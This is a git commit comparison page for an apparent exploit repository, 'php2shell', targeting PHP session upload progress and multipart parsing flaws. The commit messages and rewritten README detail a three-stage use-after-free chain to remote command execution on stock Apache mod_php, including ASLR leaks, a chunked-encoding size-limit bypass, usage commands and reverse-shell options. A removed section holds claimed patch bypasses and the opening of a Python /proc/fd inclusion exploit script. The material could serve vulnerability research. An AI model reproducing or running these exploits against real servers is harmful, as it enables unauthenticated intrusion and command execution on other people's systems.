Compare commits

..
13 Commits
Author SHA1 Message Date
neko 9945223910 Strip repo to UAF RCE exploit only
Removed all exploits that require LFI or FPM access:
- cve-2026-109618/ (OOM + LFI)
- cve-2026-109619/ (session poisoning + LFI)
- session-deser/ (handler mismatch + deserialization chains)
- bypass/ (patch bypasses, all LFI-dependent)
- nolfi/ (served save_path + FPM pathinfo)
- fcgi/ (FastCGI auto_prepend_file)
- wordpress-exploit/ (LFI wrapper)
- wordpress/ (vulnerable plugin)

Moved the UAF RCE exploit (full ASLR bypass, no LFI, no FPM, no
framework) to the repository root. Rewrote README with exploit
details, usage, patch analysis, and test results. Cleaned .gitignore.
2026-10-23 12:24:55 +00:00
neko 32e5d9c8fa Update root README with current UAF RCE exploit details
Replaced outdated BG(serialize) description with the current three-stage
exploit chain: heap leak, code leak, and RCE via fake HashTable with
pDestructor=zif_system. Updated usage examples, test results (5/5 RCE on
PHP 8.4.26, 8.3.35, and WordPress 6.8.1), and chunked TE bypass details.
Fixed script filename reference (rce_exploit.py).
2026-10-23 03:52:12 +00:00
neko ac4e654dd6 Confirm WordPress 6.8.1 RCE and clean up stage 3 retry logic
WordPress on stock PHP (no php.ini) is vulnerable with the same heap
profile parameters as plain PHP. Tested 5/5 first-attempt RCE against
php:8.4.26-apache + WordPress 6.8.1 with no configuration changes.

Simplified stage 3 retry loop: removed the HTDATA offset scanning that
was added during WordPress debugging (unnecessary, stock offsets work).
Stage 3 now uses the same retry count as stages 1 and 2.
2026-10-22 19:59:12 +00:00
neko fedef710e1 Document five patch defense layers and display_errors=Off analysis
- Expand patch section: five independent defenses, not three
- Defense 1 (rinit_session_globals at MULTIPART_EVENT_START) alone
  is sufficient to block the entire exploit
- Document post_max_size enforcement that blocks chunked TE bypass
- Add display_errors=Off impossibility analysis with technical detail
- Confirm PHP 8.3.35 RCE working (not just stages 1+2)
- Note 8.4.27 tested and confirmed blocked
2026-10-22 19:26:20 +00:00
neko 1d0e9f67fe Fix PHP 8.3.35 HTDATA_OFFSET and document display_errors constraint
- Correct HTDATA_OFFSET for PHP 8.3.35/bookworm from 0x690D8 to 0x700D8
  (different struct sizes shift the heap layout by 7 pages)
- Verified RCE: 8.4.26 and 8.3.35 both succeed on first attempt
- Document the display_errors=On requirement for the info leak stages
- Explain why stock PHP and stock WordPress-on-PHP are still vulnerable
  (display_errors defaults to On; WordPress ini_set runs after parsing)
- Add docker configs for display_errors=Off test containers
2026-10-22 19:11:28 +00:00
neko e02c9f3122 Bypass post_max_size via chunked Transfer-Encoding for stock PHP RCE
PHP checks Content-Length against post_max_size before parsing multipart
bodies, but Transfer-Encoding: chunked requests have no Content-Length.
The full chunked body is processed without any size check, allowing the
exploit to send 140MB+ to exhaust memory_limit=128M despite post_max_size=8M.

This removes the last non-default configuration requirement. The exploit
now achieves full RCE against stock php:*-apache Docker images with zero
configuration changes (4/4 confirmed on php:8.4.26-apache).

Changes:
- post() auto-switches to chunked TE for bodies over 8MB
- Default --huge-mb raised from 12 to 140 (exceeds stock 128M limit)
- README rewritten to document the working three-stage RCE chain
- docker-compose.yml adds stock variant for testing
2026-10-22 12:58:04 +00:00
neko 13fdd2b446 UAF RCE exploit with full ASLR bypass and auto-detection
Three-stage chain: heap leak, libphp leak, zif_system terminal.
All stages succeed on first attempt against php:8.4.26-apache.

Features:
- HTTP fingerprinting auto-detects PHP version from X-Powered-By
- Built-in offset database for PHP 8.3.35, 8.4.26, 8.3.36, 8.4.27
- Inline ELF parser extracts offsets without external tools
- --auto-pull fetches matching Docker image for unknown versions
- --workers N spray mode for multi-worker Apache configs
- Docker lab setup for reproducible testing

Tested: 9/9 successful RCE runs, all stages first-attempt.
2026-10-22 12:39:30 +00:00
neko 39f7f33938 UAF exploit: exhaustive analysis, five independent RCE blockers documented
Type confusion via var_access confirmed: R:N; references resolve stale
entries.data[0] without crashing, returning the attacker's own session
data from the cached ZendMM chunk (pages retained, not zeroed).

Key finding: filler spray and type confusion are mutually exclusive.
var_tmp_var reads last_dtor (struct offset 16) BEFORE var_access reads
entries (offset 56). Spray corrupts offset 16, crashing before the
type confusion can execute.

Built-in class audit: SplFileObject and PDO have function pointer calls
in free_obj, but constructing fake objects requires libphp.so base (ASLR).

Patch audit (8.5.12): all three defense layers are solid, no bypass found.

Five RCE blockers: no info leak, filler/type-confusion mutual exclusion,
GC header overlap, no usable classes without ASLR bypass, session key
validation.
2026-10-22 04:47:13 +00:00
neko fbaced0a77 UAF exploit: confirmed crash, accurate docs, fix stale-state race
Rewrote the exploit to correctly avoid GET requests between OOM
trigger and crash verification (RINIT zeros BG state on every
request). Filler field spray (100 x 8200B = 300 pages) reliably
reclaims the stale struct pages. Crash confirmed on first attempt.

Updated README and FINDINGS to accurately describe:
- The 8216-byte struct (3 pages), not the earlier 64-byte bin
- GC header overlap that blocks controlled RCE (offsets 0-23)
- Three independent patch layers in PHP 8.3.36/8.4.27/8.5.12
- Honest exploitation status: UAF crash confirmed, RCE not achieved
2026-10-22 03:48:05 +00:00
neko a5396a6ab0 Fix UAF exploit to use confirmed two-request OOM approach
The original exploit put the file upload before the field flood,
so the progress handler's serialize completed before OOM fired.
This meant BG(serialize) was not left stale.

The corrected flow:
  Phase 1: Create ~500KB session file via large upload progress value
  Phase 2: Fill memory with fields, then file upload triggers session
           re-init which OOMs during unserialize of the large session
  Phase 3: Verify stale BG(unserialize) state on the surviving worker

Confirmed on PHP 8.3.6, Apache 2.4.58: error log shows
"tried to allocate 503808 bytes" during session handling,
followed by "Session ini settings cannot be changed when a
session is active" on subsequent requests.
2026-10-21 22:17:29 +00:00
neko 76bc2bc2a3 UAF RCE exploit via OOM bailout (CVE-2026-109618/109619, no LFI)
Pure memory corruption path: OOM during multipart parsing leaves stale
BG(serialize) state in Apache mod_php prefork workers. Heap spray
reclaims the freed 64-byte slot, giving control of a HashTable's
pDestructor for arbitrary function call.

No LFI, no framework, no non-default PHP settings required.

Tested on PHP 8.3.6 + Apache 2.4.58 (prefork MPM). Confirmed:
- OOM via field flood, worker survival, session file persistence
- Stale BG(serialize).level across requests
- Heap spray targeting ZendMM 64-byte bin
2026-10-21 22:12:06 +00:00
neko 8147ce0edb FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config
New exploit at fcgi/exploit_fcgi.py combines the session upload progress
write primitive (CVE-2026-109618/109619) with direct FastCGI access to
PHP-FPM. A slow-drip multipart upload holds one FPM worker in the
multipart parser while a second FastCGI request includes the poisoned
session file via auto_prepend_file.

Works on default PHP configuration, no LFI, no framework, no libraries.
security.limit_extensions does not block auto_prepend_file inclusion.
php_admin_value in pool config does not block PHP_VALUE from raw FastCGI.

Tested and confirmed RCE on:
  PHP 8.3.6  (local, pre-patch)
  PHP 8.3.35 (Docker, pre-patch)
  PHP 8.3.36 (Docker, patched)
  PHP 8.4.27 (Docker, patched)

Mitigated by session.upload_progress.enabled=0 or blocking FPM access.

Also includes nolfi/ exploit (served save_path + pathinfo routing) from
previous work, and updated README with mitigation matrix for all vectors.
2026-10-21 21:19:25 +00:00
neko 7fecd435cc Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers:
when one endpoint writes sessions with php_serialize (Laravel, Symfony
default) and another reads with the php handler (PHP default), injected
pipe characters cause arbitrary deserialization at session_start().

12 built-in POP chains covering current and legacy library versions:
- monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest)
- laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest)
- monolog-cmd/fw: Monolog 1.17.2-2.x
- laravel-cmd/fw: illuminate 5.4-8.x
- guzzle-fw: Guzzle 4.0-7.x
- symfony-cmd/fw: Symfony 2.6-4.4.18
- wordpress-cmd/fw: WordPress 6.4.0-6.4.1

All chains tested end-to-end through the full HTTP exploit flow on
PHP 8.3. Accepts custom phpggc chains via --chain-file.
2026-10-21 20:47:37 +00:00
23 changed files with 1346 additions and 3073 deletions
+2 -29
View File
@@ -1,32 +1,5 @@
# PHP builds
php-build/
php83/
php8427/
# WordPress core
wordpress/*.php
wordpress/wp-admin/
wordpress/wp-includes/
wordpress/wp-content/themes/
wordpress/wp-content/uploads/
wordpress/wp-content/plugins/akismet/
wordpress/wp-content/plugins/hello.php
wordpress/wp-content/index.php
wordpress/wp-content/plugins/index.php
wordpress/license.txt
wordpress/readme.html
wordpress/wp-config.php
wordpress/wp-config-sample.php
# Lab configs (generate your own)
*.conf
!.gitignore
# Docker
docker-compose.yml
# Runtime
__pycache__/
*.pyc
*.pid
*.log
*.sock
__pycache__/
+222 -84
View File
@@ -1,121 +1,259 @@
# php2shell — CVE-2026-109618 & CVE-2026-109619
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
Remote Code Execution exploits for two critical PHP vulnerabilities in the
multipart parser and session upload progress handler. Includes three bypass
exploits that defeat the official security patch and all recommended mitigations.
Remote code execution in PHP's session upload progress handler, exploitable
over plain HTTP against Apache mod_php with **completely stock configuration**.
No LFI, no framework dependency, no non-default PHP settings required.
**No external dependencies** — pure Python 3 stdlib.
## Affected versions
## Vulnerabilities
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
running under Apache mod_php with prefork MPM.
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
disk with attacker-controlled PHP code. LFI includes it for RCE.
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
data verbatim into the session file. With `cleanup=0`, or via race condition
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
so stale state never persists across requests.
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
## What this exploit achieves
## Exploits
Full remote code execution (arbitrary command) from a single unauthenticated
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
page does not need `session_start()` or any specific code.
| Script | Target | Description |
|--------|--------|-------------|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
`display_errors=On`, `MaxRequestWorkers=150`).
## Prerequisites
- Python 3.8+
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
- A Local File Inclusion vector in the target application
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
All of these are default on stock PHP Docker images and common Debian/Ubuntu
Apache + mod_php installations:
- Apache mod_php with prefork MPM
- `session.upload_progress.enabled = 1` (default: on)
- `session.upload_progress.cleanup = 1` (default: on)
- Any PHP-handled URL (even a 404 error page)
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
For multi-worker Apache (the default), the `--workers N` spray mode sends
the OOM trigger to all workers before probing for the leak.
## How it works
### The vulnerability chain
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
the request shutdown handler. This skips session cleanup code in
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
and `PS(send_cookie) = 1`.
**CVE-2026-109619**: On the next request to the same Apache worker,
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
properly reinitialized. The callback sees the stale `PS(id)` and
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
through the stale pointer and emits it as a `Set-Cookie` header.
### post_max_size bypass via chunked Transfer-Encoding
PHP checks `Content-Length` against `post_max_size` before invoking the
multipart parser. If `Content-Length` exceeds the limit, the body is
rejected entirely. However, when the request uses `Transfer-Encoding:
chunked` instead of `Content-Length`, no upfront size check occurs.
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
filter chain without enforcing `post_max_size`, allowing the full body
to be processed regardless of the configured limit.
This means the exploit works against `memory_limit=128M` with
`post_max_size=8M` by sending ~140MB of chunked POST data.
### Three-stage exploit (full ASLR bypass)
All traffic is plain HTTP multipart POST requests:
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
Request A sends 1001+ fields (triggering `max_input_vars` warning which
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
large field via chunked TE to trigger OOM. The warning output prevents
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
remains 1 and `PS(id)` becomes a dangling pointer.
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
The filler fields' heap allocations overlap the dangling `PS(id)` address.
When `php_session_send_cookie()` runs with the stale pointer, it reads
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
bytes contain Zend MM free-list pointers, which reveal the chunk base
address (2MB aligned).
**Stage 2: Code ASLR bypass (libphp.so base)**
Similar to stage 1, but request B's field layout places a real PHP
`HashTable` structure at the dangling pointer offset. The `pDestructor`
field of the HashTable is a function pointer into libphp.so
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
load address.
**Stage 3: RCE (zif_system)**
Request A poisons the worker with stale session state. Request B sprays
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
whose `pDestructor = zif_system`. When session cleanup calls
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
attacker-controlled arguments, executing an arbitrary shell command as
the web server user (`www-data`).
## Usage
```bash
# CVE-2026-109618: OOM exploit
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
# Use --no-chunked when nginx has fastcgi_request_buffering off
# Use --fields / --field-size to tune OOM threshold for target memory_limit
# Auto-detect PHP version, look up offsets, exploit
python3 rce_exploit.py -u http://target/index.php
# CVE-2026-109619: Session poisoning (direct or race)
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
# Auto-pull matching Docker image for offset extraction
python3 rce_exploit.py -u http://target/index.php --auto-pull
# WordPress (auto-detects LFI parameter)
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
# Verify RCE via docker exec (for testing)
python3 rce_exploit.py -u http://target/index.php \
--docker-proof CONTAINER /tmp/pwn
# Patch bypass: race condition on PHP 8.4.27+
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
# Multi-worker Apache spray mode
python3 rce_exploit.py -u http://target/ --workers 150
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
# Extract offsets for a new PHP build
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
--php-version 8.3.35
```
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection.
### Options
## Patch Bypass Findings
| Flag | Default | Description |
|---|---|---|
| `-u URL` | (required) | Target URL (any PHP endpoint) |
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
| `--workers N` | 1 | Apache workers to spray |
| `--huge-mb N` | 140 | OOM field size in MB |
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
| `--auto-pull` | off | Pull Docker image for offset extraction |
| `--retries N` | 5 | Attempts per stage |
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
| `--timeout` | 30.0 | Socket timeout in seconds |
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
### Built-in offset database
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
request includes the file during the upload window. Inherent to the feature design.
| PHP version | Distro | Status |
|---|---|---|
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
path. Worker exits code 1 (not the patched code 70), session persists.
## The patch
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
poisoning needed. **Bypasses every recommended mitigation.**
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
layers. Any one of the first three alone is sufficient to block the attack:
### Mitigation Matrix
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
session RFC1867 callback now calls `php_rinit_session_globals()` at
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
dangling `PS(id)` from the previous request before B's parsing begins.
This single defense is sufficient to kill the entire exploit chain.
| Mitigation | Race | RLIMIT | /proc/fd |
|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** |
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
| Fix the LFI | OK | OK | OK |
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
triggers a longjmp during allocation. Instead, a soft limit records
the error and sets `vm_interrupt`. Allocations return NULL in fallible
mode or succeed up to a hard limit (default 200% of `memory_limit`).
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
runs normally, so stale state never persists.
### Recommendations
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
check in `fill_buffer()` enforces `post_max_size` against
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
bypass (which previously allowed sending 140MB despite 8M limit) is
blocked. OOM cannot be triggered via multipart data alone.
1. Set `session.upload_progress.enabled=0` in php.ini
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
3. Fix any LFI vulnerabilities in applications
4. Set `open_basedir` to restrict filesystem access
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
and `BG(unserialize)`, eliminating the stale serialization state
window from CVE-2026-109618.
## WordPress
5. **Session deserialization hardening**: RFC1867 session decode runs in
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
guard prevents `request_parse_body()` from corrupting session state.
The WordPress exploit requires a plugin that calls `session_start()` and has an
LFI vector. Two demo plugins are included:
## Test environment
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
template preview, log viewer, and session-based features
The `docker/` directory contains a minimal test setup:
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
```bash
cd docker && docker compose up -d
# Stock settings variant (no custom php.ini):
docker run -d --name stock -p 8093:80 php:8.4.26-apache
```
## Disclaimer
The exploit has been tested on:
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
For authorized security testing and research only. Obtain proper authorization
before testing against any system you do not own.
## display_errors and WordPress
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
The `max_input_vars` warning must produce visible output to set
`SG(headers_sent) = 1` before the session cookie attempt, which causes
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
the next request's leak.
With `display_errors = Off`, the warning is logged but produces no output.
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
cookie is emitted on the subsequent request.
**Why stock PHP is still vulnerable**: PHP's compile-time default for
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
without a `php.ini`, so the default applies. Only when a system
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
or adds explicit INI configuration is the target hardened against this leak.
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
in `wp-settings.php`. This `ini_set` executes during script startup, which
is AFTER multipart POST parsing (where the OOM and session leak occur).
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
is vulnerable, because `display_errors` is still `On` at the time the
exploit code path runs. The official `wordpress:*` Docker images ship
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
level, which does block the leak.
**Why display_errors=Off cannot be bypassed**: The info leak requires
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
`MULTIPART_EVENT_FILE_START`. The only code path that sets
`SG(headers_sent)` during multipart parsing is the error display path
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
gated on `display_errors`. With `display_errors = Off`, warnings go to
the error log only, producing no output. There is no alternative
mechanism to force HTTP output during multipart parsing: the SAPI write
function is the only path, and it requires display_errors or explicit
script output (which has not started yet at this stage of request
processing). Precision OOM calibration (attempting to trigger OOM inside
the ~500-byte `php_session_send_cookie` window) was tested and fails
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
cannot be calibrated to the required precision.
## References
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
- CVSS: 9.2 (both CVEs, per Rapid7)
-101
View File
@@ -1,101 +0,0 @@
# PHP 8.4.27 Patch Bypass Findings
## Summary
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that
achieve Remote Code Execution on fully patched systems.
The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks
two of the three bypasses but is itself defeated by the third.
## Bypass #1: Race Condition (TOCTOU)
**File:** `race_bypass_patched.py`
**Confirmed RCE:** Yes, first attempt
**Patches bypassed:** PHP 8.4.27 OOM fix
**Mitigations bypassed:** session.upload_progress.cleanup=1
The session upload progress feature writes attacker-controlled data to the session
file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`.
A concurrent LFI request can race to include the session file while the upload is
still in progress.
This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's
design — the data must exist on disk for the feature to work, creating a window
that cannot be eliminated without removing the feature.
**Blocked by:** `session.upload_progress.enabled=0`
## Bypass #2: RLIMIT_AS / mmap() Failure
**File:** `rlimit_bypass_patched.py`
**Confirmed RCE:** Yes
**Patches bypassed:** PHP 8.4.27 OOM fix (different code path)
**Mitigations bypassed:** Standard memory_limit-based OOM handling
The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator).
When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS`
(or cgroup memory.max), `mmap()` fails through a **different code path** that
the patch does not cover.
- Worker exits with code **1** (not the patched exit code **70**)
- Session file **persists** on disk with attacker-controlled PHP code
- New worker spawns → LFI includes poisoned session → RCE
Relevant in production:
- Docker/k8s containers with cgroup memory limits
- Shared hosting with per-tenant RLIMIT_AS
- Admins using `memory_limit=-1` trusting OS-level limits
**Blocked by:** `session.upload_progress.enabled=0`
## Bypass #3: /proc/PID/fd Temp File Inclusion
**File:** `procfd_bypass_hardened.py`
**Confirmed RCE:** Yes, first attempt
**Patches bypassed:** ALL patches
**Mitigations bypassed:** ALL mitigations including `upload_progress=0`
During a multipart file upload, PHP creates a temporary file with attacker-
controlled contents. This file is visible via `/proc/<pid>/fd/<N>` to any
process that can read procfs. A concurrent LFI request from a different FPM
worker can include this file directly.
This attack does NOT use session poisoning at all — it bypasses every
session-related mitigation.
**Blocked by:**
- Fixing the LFI vulnerability
- `hidepid=2` on /proc mount (hides other processes' FDs)
- `open_basedir` restricting /proc access
- Disabling file uploads entirely (impractical)
## Mitigation Effectiveness Matrix
| Mitigation | Race | RLIMIT | /proc/fd |
|-------------------------------|------|--------|----------|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL |
| + upload_progress=0 | OK | OK | FAIL |
| + hidepid=2 on /proc | FAIL | FAIL | OK |
| + upload_progress=0 + hidepid | OK | OK | OK |
| Fix the LFI | OK | OK | OK |
## Tested Vectors That Did NOT Bypass the Patch
- **Multipart part header flood:** OOM triggered but the patch handles it
correctly (exit code 70, session file cleaned up)
- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's
`session.upload_progress` only fires on POST requests
- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse
as multipart/form-data
- **Access log poisoning:** Works conceptually but fragile (previous log
entries may cause PHP parse errors)
## Recommendations
1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini
2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels)
3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications
4. **Defense in depth:** Set `open_basedir` to restrict filesystem access
5. **Do NOT rely on the patch alone** — it leaves two bypass paths open
-363
View File
@@ -1,363 +0,0 @@
#!/usr/bin/env python3
"""
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
including the security patch AND session.upload_progress.enabled=0.
It does NOT use session poisoning at all. Instead, it exploits the fact that
during a multipart file upload, PHP creates a temporary file whose contents
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
process that can read procfs (i.e., any PHP process on the same host).
Attack flow:
1. Send a multipart POST with a file upload containing PHP code
2. While the upload is in progress (slow drip), the temp file exists as an
open file descriptor on the receiving FPM worker
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
or brute-forced from a narrow PID range)
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
5. PHP interprets the temp file contents → RCE
Why this bypasses everything:
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
- Standard multipart upload → WAF rules need to block ALL file uploads
Limitations:
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
- Requires knowing or brute-forcing the target worker's PID
- Requires multiple FPM workers (upload worker != LFI worker)
- FD number is typically 4-7 but may vary
Real-world PID discovery:
- phpinfo() page (common on staging/dev servers)
- Application leaking PID in response (getmypid())
- PHP error messages may include PID
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
- Container PID namespaces have small PID ranges (often 1-100)
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
Usage:
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def discover_pids(host, port, tls, path, count=20):
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
pids = set()
for _ in range(count):
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=3)
sock.close()
body = body_of(resp)
m = re.search(rb"pid=(\d+)", body)
if m:
pids.add(int(m.group(1)))
except Exception:
continue
return sorted(pids)
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
"""Send slow multipart upload to keep temp file FD open."""
